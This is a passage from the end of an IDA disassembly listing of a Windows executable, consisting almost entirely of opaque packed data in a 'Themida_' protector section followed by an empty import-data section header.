		dd 60000000h, 0B15A6161h, 70DE8111h, 605DAAA1h,	10E960h
		dd 0DD1B0000h, 0D0536650h, 0AEB82D8Fh, 4BE88E07h, 5852D52Fh
		dd 0D68B5161h, 3CB8615Fh, 0F0FE821h, 0B960C8BFh, 2C49570Ah
		dd 0A936B966h, 8E961h, 2F9D0000h, 5B8DF5B7h, 66F9CE94h
		dd 71A4F781h, 3860Fh, 8B660000h, 8F0FFCF2h, 2, 800F4EB4h
		dd 3, 6040E780h, 0D4EC681h, 0F613F8Ch, 8B66DEBFh, 0CED681CFh
		dd 0E94A9D2Dh, 7, 0DCACF80Ah, 0F93EA5Dh, 986h, 78BF6000h
		dd 0B52F2F46h, 0F8506135h, 64CF8159h, 0E95F75ABh, 0Dh
		dd 2371DF2h, 55AA2C3Fh,	0CAD91C5h, 58D0F3Dh, 0BA000000h
		dd 7109E004h, 0DCAAF081h, 0FA8B5384h, 0BDC88166h, 6E8D2h
		dd 9290000h, 0F1E5E19Ch, 0FE85Bh, 8CA70000h, 48C203C9h
		dd 0CB0BFB50h, 95C9A671h, 5FDF8B8Ah, 8820Fh, 66600000h
		dd 0B437EEB9h, 12E9616Ch, 0CC000000h, 77383EA6h, 9ED7179Ch
		dd 0ADC9AE82h, 0C29B5CB4h, 11E870h, 21FC0000h, 0C0EC192h
		dd 2C355654h, 468F23D8h, 0FC68CB94h, 0F575059h,	83h, 665B5B00h
		dd 81B94AB8h, 8BBF8EF6h, 0F1BF0F5Bh, 0E9C88B66h, 0Ah, 19C7F25Ah
		dd 0EA5CD5F8h, 0FE8F15Ch, 48000000h, 0BFBACFD8h, 89021162h
		dd 0AE9646F1h, 8B608995h, 0C18166D1h, 5861BEE2h, 0AA6DF681h
		dd 8B663F74h, 0BE9F8C7h, 91000000h, 213C4ED8h, 24D7A52h
		dd 10E9666Dh, 9C000000h, 4062DC1Bh, 0F1AEBA7Ch,	0BE0997Dh
		dd 0FF59ABEh, 1484h, 8E800h, 0E63B0000h, 6C15ACAh, 0E98182DFh
		dd 1F08DDB7h, 8166F95Fh, 668488DAh, 66C3C881h, 0E9DEBF0Fh
		dd 14h,	650AB18Ch, 4ED9587Bh, 0C91D2473h, 1B0DCCB2h, 0B7B7910Fh
		dd 14E9h, 0CDB45C00h, 4CEEF6BDh, 94DF88DFh, 0A1129692h
		dd 6236DF1Ah, 81D681E2h, 0F673149h, 88Fh, 2850F00h, 60000000h
		dd 12E961h, 8D020000h, 4CF3C8B2h, 1B05D1B2h, 91118387h
		dd 0D39C13C1h, 44A3F381h, 0F604240h, 58Ah, 157FBB00h, 0D98A6F1Bh
		dd 0B5BE6661h, 0BF0F6082h, 6800FD2h, 81000000h,	63CE71CBh
		dd 0FF86151h, 8Ch, 8A0F5200h, 6, 8D0Fh,	0E9580000h, 14h
		dd 2EFAD41Eh, 0CBA4D002h, 0A5A7C958h, 0BD87A51Fh, 0D4A839F8h
		dd 8166D6B0h, 0F98EEF1h, 58Ch, 0EF816600h, 0D281FD27h
		dd 2E17D370h, 0CE8h, 3722700h, 8F515E1Dh, 0A14728A4h, 0BE835h
		dd 78CF0000h, 0B6243649h, 0F89CCA58h, 605A5E7Eh, 0E961DF8Bh
		dd 0Ch,	1042712Fh, 4A351AAh, 72845DBEh,	0D18B6650h, 0E881665Fh
		dd 0BF0FE657h, 88A0FC1h, 53000000h, 0E12C181h, 0B8591D8Ah
		dd 229D1611h, 6B8DEB2h,	0F855F087h, 0F9D6B70Fh,	66C0BF0Fh
		dd 8AD715BBh, 8FBB66E6h, 0EBB66C9h, 0D7BE66FCh,	68D0FCAh
		dd 0F000000h, 87h, 81666000h, 61E66DEEh, 0BE9FCh, 0CF380000h
		dd 3186FD1Ah, 89CE0EB3h, 12E915h, 0B13F0000h, 604CA9DBh
		dd 51D39635h, 0B0F0492Ah, 14B7C8D6h, 14E9F9h, 0B4750000h
		dd 0B32C96E4h, 0BAD2EB9Bh, 5FF4B5A4h, 13BC3F92h, 880F54A9h
		dd 3, 0FCAB70Fh, 0E8Ah,	9E900h,	64060000h, 9ABBE8DEh, 50850440h
		dd 0BE9h, 329B6C00h, 65762048h,	3D59ABDFh, 0BEC8815Ah
		dd 0F95A37B9h, 8E9h, 0CBCFCF00h, 0D9AE1265h, 59BBF54h
		dd 8166635Ah, 601C24DFh, 60C2BF0Fh, 10E9h, 7461DF00h, 0CED81118h
		dd 66F3FAF3h, 0A12F574Ch, 0AAD2810Dh, 6147AC07h, 64BE6661h
		dd 50D38B9Bh, 0FC78B5Bh, 0EF81F3BFh, 78507F25h,	438CF781h
		dd 8B6665B8h, 28E0FFEh,	8A000000h, 354AB9D4h, 0D18B137Bh
		dd 0E9CFBF0Fh, 5, 6E37A974h, 0FE8CDh, 0F4020000h, 58B9C9B2h
		dd 7F3ED737h, 69FEB321h, 1BD780B0h, 0E851575Eh,	0Bh, 5B92438Ah
		dd 0A49D403h, 5E608FEDh, 66F8595Fh, 0B060CB8Bh,	0B5606135h
		dd 0F8D78111h, 616B228Fh, 1F810Fh, 0E8600000h, 11h, 598B1A35h
		dd 58A516DDh
		db 53h,	0C2h
word_584F4E	dw 0C278h		; DATA XREF: ___:0042BEA8o
		dd 0C8E56EDFh, 8D0F59FCh, 0
		dd 0F28B6661h, 0F0BA6650h, 0FF85B48h, 8BB2C3BFh, 0E960E58Ah
		dd 0Ah,	0E0E1B1C5h, 27530B03h, 8166652Eh, 6173FBCFh, 54E380FCh
		dd 38C0Fh, 0B70F0000h, 0CDF7BAC7h, 8E95518h, 4000000h
		dd 0A9B7C31Eh, 0B9E35500h, 28D26FB8h, 0BF0FCB8Ah, 0DBA66CBh
		dd 8F0FFC2Fh, 5, 0CFCBBBBBh, 0CE81663Dh, 8E0FDF0Ah, 2
		dd 0E38048B6h, 0DB8166A0h, 0BE90631h, 0E000000h, 0E9B4282Bh
		dd 0B6671CE8h, 66572D89h, 586D49BBh, 8B1CBE60h,	8B614CE7h
		dd 10E9CAh, 1C900000h, 82F6B98Fh, 25280296h, 69E46D48h
		dd 0CC8AF72Eh, 5A91B456h, 0B880Fh, 6E90000h, 7C000000h
		dd 0E8CA5CB5h, 0FE9E7h,	0B8D90000h, 0BC67F2BAh,	0E5D9117Bh
		dd 374A9339h, 7FF781D9h, 53772263h, 0EE9h, 0AF9AB800h
		dd 0F92AE11Bh, 9133D8DCh, 5E9D6293h, 0E9F8D7B6h, 14h, 0BB2F9197h
		dd 3C2C1963h, 2F86C39Fh, 0EFEB36E6h, 5E8023BBh,	0BC98166h
		dd 18D0F95h, 0F5000000h, 12E8FAB5h, 32000000h, 554FF78Ah
		dd 6FE88208h, 0C86DE461h, 0E70D60F4h, 68A0F0Eh,	0F000000h
		dd 8Eh,	800F5800h, 3, 66CF8B66h, 0D58AD08Bh, 0A46053BEh
		dd 0C6816658h, 0C081E67Fh, 61B59010h, 0F6A9B866h, 27DAB866h
		dd 82E29ABAh, 0E6816679h, 5E99EB9h, 0AC000000h,	96191DB4h
		dd 3890F53h, 0F000000h,	0F5FF7BFh, 38Eh, 0DA8B6600h, 0EA8166F8h
		dd 0B9F908AFh, 792D0EABh, 5E8h,	0F5350900h, 0FCB54E03h
		dd 14E85Ah, 0CE6F0000h,	56A81B18h, 6F2DE421h, 2EF3C1Ch
		dd 129E9C7h, 0A4BEA901h, 58072D51h, 0E1816660h,	0EE9BC46h
		dd 0B4000000h, 0E15118h, 6606665Dh, 5D4F0FB9h, 10E861ABh
		dd 2E000000h, 81C67561h, 73519A52h, 0FDAC27B1h,	0F5568778h
		dd 6660F85Eh, 4BE4D981h, 61C0BF0Fh, 65D68166h, 0BCF180CAh
		dd 975ED181h, 830F5C3Fh, 3, 6677DA80h, 51BCB1B9h, 0FE8h
		dd 322CA700h, 0CC7AEBC3h, 0F2358D5h, 37AD0A09h,	6CEE8166h
		dd 665A599Ah, 93B1D981h, 0D4A7CE81h, 13E95D9Bh,	17000000h
		dd 6223FD39h, 1F1A610Dh, 9D937A80h, 0BDC2367Fh,	0BE66BF05h
		dd 0F53F0E5h, 68Bh, 0A9E88100h,	5E21422Fh, 3830Fh, 0B70F0000h
		dd 8E8DEh, 84F60000h, 96B73A9Dh, 0FE9B26Dh, 6000000h, 0B4899F42h
		dd 0E15118h, 6606665Dh,	0E95F0FB9h, 0Ch, 770C7F73h, 51CCB660h
		dd 9E16A4EDh, 95C28166h, 0BABCB14Bh, 4AB7322Ah,	66D18B66h
		dd 8F36CA81h, 8E8h, 0D6C2B900h,	9EEFA82Ah, 14E8606Ah, 6A000000h
		dd 0F035C2FEh, 74CA208Ch, 0BB048E2Bh, 0A91A63A6h, 5FA9BB6Dh
		dd 5A61C88Bh, 0F08BD98Bh, 1890F60h, 0F8000000h,	61C7BF0Fh
		dd 0F936EE80h, 0BA6678B6h, 0BF0F4935h, 1CD080C7h, 51F0BF0Fh
		dd 0FEBD1DBBh, 8C0F5E3Bh, 6, 65F9D881h,	0B966223Fh, 890F21A4h
		dd 10h,	8E852h,	1F0A0000h, 0ED0D36F0h, 5B5E2548h, 66FB8B66h
		dd 12E9DA8Bh, 0B8000000h, 4B9000FEh, 0CB27A6F7h, 7D26FB7Dh
		dd 3EDB50E8h, 0F5F9F91Bh, 0CB2E7CBFh, 44D68125h, 66069182h
		dd 0F89F76B8h, 38B0Fh, 0BF0F0000h, 81CF8BF7h, 15B200F2h
		dd 98B8666Ah, 12E953h, 0E2840000h, 8D3DAC67h, 60CF5E93h
		dd 0FEBE071Eh, 0CD67B9CEh, 89DE8166h, 5651577Eh, 665A595Bh
		dd 6534D081h, 13E9h, 68D17F00h,	0A3076C5h, 14CC0BBEh, 19E20E3Fh
		dd 939D1F4Dh, 0EE9h, 0BAB54A00h, 5EA2C24Dh, 9ADFC48h, 0B02E7378h
		dd 0C28B6655h, 7E8h, 663FFC00h,	1B2FF190h, 9E76BF66h, 4830F59h
		dd 57000000h, 0E95FD5B2h, 13h, 51C0CB2Ch, 9DB129F9h, 7B6D69C5h
		dd 0EA774680h, 81271B65h, 71CECFF6h, 0F695B91Ah, 8D0F2934h
		dd 3, 66F28B66h, 0B5FF93BFh, 8B666000h,	0C1B70FC6h, 4810F61h
		dd 66000000h, 81B945BBh, 836AF9F6h, 66F08A52h, 0F14BE281h
		dd 0BCC5BE66h, 81F95A53h, 3B3432C9h, 28A0F72h, 0B2000000h
		dd 668DB69Fh, 81C85CBFh, 0C775EBDFh, 58FC5074h,	0B588E381h
		dd 8B660A44h, 890F60F7h, 5, 0D18BCBFh, 9E968h, 2CF40000h
		dd 1C18B909h, 615EF077h, 9E9h, 0FB2EA500h, 36FD0AB9h, 8BB85570h
		dd 6654E8D2h, 0B866F28Bh, 0BF0F9BA2h, 0A0B760F7h, 0DE961h
		dd 25130000h, 0A0195FC1h, 0DFCE2C63h, 6646F3DAh, 0C9C6F081h
		dd 6850Fh, 0D7810000h, 1115A1BDh, 0E9F18B66h, 7, 6DD22492h
		dd 520EE036h, 58D2B70Fh, 9E62BAF5h, 0AE971C8h, 0E1000000h
		dd 8EE0B65Ch, 0E927E473h, 33F3BF49h, 0F604A8Ah,	7E9F8B7h
		dd 0CA000000h, 0ED502A6Eh, 8061776Dh, 0BF0FB9ECh, 7E8CAh
		dd 92FF0000h, 83ABD99Fh, 81665BD5h, 0B5C1D6F3h,	0E78166B9h
		dd 860FA7A3h, 3, 0E9C88B66h, 13h, 0C2AECD37h, 456E7F85h
		dd 254467CAh, 0C63062ECh, 0E98F4756h, 13h, 11E0DF74h, 0B55AA670h
		dd 97EA394Ah, 9E5EC052h, 0E9709ACBh, 0Ch, 0DB13866Fh, 6ED0EC93h
		dd 0DAB6C610h, 44C0BF66h, 0E9DBBF0Fh, 0Bh, 26E97AB6h, 3A57B103h
		dd 8B23ABB9h, 810FD6h, 0F000000h, 0E380D8B7h, 0B5F86049h
		dd 80F96107h, 0B9B37CDBh, 0FC60FA8Bh, 142BB866h, 99D8B861h
		dd 8B665D7Fh, 8BC78BCAh, 18C0FD1h, 0F5000000h, 5880Fh
		dd 43B80000h, 0E9108A14h, 14h, 770F51DEh, 7AE2C96Dh, 2BAE147Dh
		dd 43015B88h, 0E0DE2CD3h, 0E893B6FCh, 6, 0B0F705C5h, 0B70FBF37h
		dd 11E85AFAh, 66000000h, 189638A7h, 7B163B93h, 0E8ACA4D3h
		dd 304E84E9h, 6850Fh, 0F3810000h, 74EA4F1Ah, 0AE85Fh, 42B30000h
		dd 0B4D4404Ah, 987D16E5h, 14E8h, 95F01400h, 0D75DEFBh
		dd 0B5C47D2Ah, 0B2E37094h, 0C38205CEh, 59F18B3Bh, 0F78B665Ah
		dd 66D3BF0Fh, 7F06E181h, 8B6682B1h, 60F5FCF2h, 0FD6B70Fh
		dd 0A8Ah, 5E900h, 195B0000h, 6121E8B4h,	3CADBE66h, 0D080FA8Bh
		dd 81CE8BBAh, 4EF3AAD6h, 0C9EE8143h, 0E96DF817h, 0Fh, 7CCC7356h
		dd 76595286h, 446A5D5Ch, 0B48EF4FEh, 0F18B664Eh, 10880FF8h
		dd 60000000h, 9E9h, 0DB339A00h,	5D5E71F3h, 0E861AF64h
		dd 14h,	0E7B7418Ch, 0F4160A18h,	308F3DE6h, 2571688Dh, 48086BB7h
		dd 815BC68Bh, 0FB463FEEh, 4880F22h, 66000000h, 0E9F28DB8h
		dd 0Fh,	68E93469h, 0C229F84Dh, 78A87D66h, 0F827E88h, 683h
		dd 43D68100h, 814A54FEh, 1197C2C1h, 0B866F944h,	0E8F83370h
		dd 9, 0E6616122h, 2B12D040h, 0C9F3813Ch, 5A3AE6F0h, 16870Fh
		dd 11E90000h, 94000000h, 0B5917DB9h, 0AA33BBDFh, 206B6FB2h
		dd 2ACA5673h, 71A6B866h, 12C98166h, 6E952h, 58560000h
		dd 0C1B440EAh, 1810Fh, 66FC0000h, 850FF08Bh, 1,	11E9FCh
		dd 51990000h, 0CD5A8F0h, 0C137A2C5h, 43FF39F9h,	0E97C0E71h
		dd 14h,	54988F15h, 5DD34272h, 984A8AC7h, 58691649h, 0E0978807h
		dd 0E952F18Bh, 7, 0C8BD973Bh, 598443A4h, 0E94FCE80h, 0Bh
		dd 4CF741CCh, 5C6E6496h, 0E9857E15h, 9,	8A748BC7h, 130B4379h
		dd 10E8600Eh, 0EB000000h, 0ACA3B982h, 86483859h, 0AB2CEE96h
		dd 0E99131D4h, 13h, 0EA69C868h,	55512467h, 20E2BF3Ah, 0A8C64A40h
		dd 594256DBh, 6601B361h, 90F8C881h, 0FD2BF0Fh, 281h
		dd 8BF78B00h, 0CA8166D7h, 0FE94906h, 83000000h,	0AF2A074Ah
		dd 88BE09ABh, 0F5EE9174h, 5E9236Eh, 8B000000h, 79F9810Fh
		dd 0FE9h, 0E4C6DE00h, 0B2B5B248h, 190EC400h, 521C8521h
		dd 636CEE81h, 8D0F1798h, 4, 5659BE66h, 0E9C7BF0Fh, 14h
		dd 0F4F9D218h, 0D422B9A3h, 7EDE82EEh, 6939EB18h, 2838B969h
		dd 0EE9h, 807B6D00h, 65EA7746h,	0BEE6271Bh, 0E980124Fh
		dd 0Ch,	5B395D25h, 77F22A60h, 0D8AB80F6h, 8A0F99B2h, 5
		dd 7FD5C2BEh, 62BE663Ah, 5E969h, 3FEC0000h, 0E9962596h
		dd 13h,	182AE61Bh, 0D9EECDF7h, 543E2A14h, 0FE09EB08h, 6690A9E7h
		dd 3083C381h, 0DBE48060h, 11F28166h, 8166612Ch,	0E94203E8h
		dd 14h,	9F3EF773h, 0FF2529D5h, 0F755AC9Fh, 0B00BE280h
		dd 0E2B3E57Bh, 38E0Fh, 0EB800000h, 0C18B663Fh, 18B0Fh
		dd 60F90000h, 6E952h, 861E0000h, 25A6A51Ch, 0DE95Fh, 0CAF80000h
		dd 24254CBCh, 81EA7B9Fh, 6170028Eh, 0B2BA66FCh,	0F2F3806Ah
		dd 8ACEED80h, 8E9D9h, 0DFD00000h, 731B26Ch, 0FE8991Bh
		dd 17000000h, 993D2055h, 390BD120h, 6FEBB6C9h, 8B664B4Ah
		dd 0FC525FC3h, 0C1B70F5Fh, 12E9h, 20561900h, 0A0C361B4h
		dd 89CFFDEDh, 78B73C04h, 0FDE9F61h, 0C981FFBFh,	16904033h
		dd 7ED78060h, 2810Fh, 0D88B0000h, 0EDC88161h, 0F4953BDh
		dd 0D48AF8B7h, 0FD6BF0Fh, 12E8F8B7h, 2E000000h,	0D60DE9D3h
		dd 1F79FE43h, 26F0AF29h, 63FF1914h, 31BB66FDh, 870F5F3Dh
		dd 5, 7EC18166h, 86F08139h, 5346335Bh, 0FE9h, 1BBD5000h
		dd 3AD1C1DFh, 996FD073h, 0DD4F8F82h, 6B65A25Fh,	7Eh dup(6B65A4B2h)
		dd 0D6C22071h, 29Eh dup(0D6C22070h), 0EBC22070h, 2Bh dup(0EB994BEEh)
		dd 545655EEh, 92h dup(5456540Ch), 0E69C540Ch, 139h dup(0E69CB68Ch)
		dd 29CB68Ch, 166h dup(27D6B11h), 267D6B11h, 145h dup(26EE4D02h)
		dd 0CCEE4D02h, 0C3Bh dup(0CCCCCCCCh), 0CCh, 1B2h dup(0)
Themida_	ends

; Section 5. (virtual address 0018B000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0018B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 58B000h
		align 2000h
_idata2		ends


		end start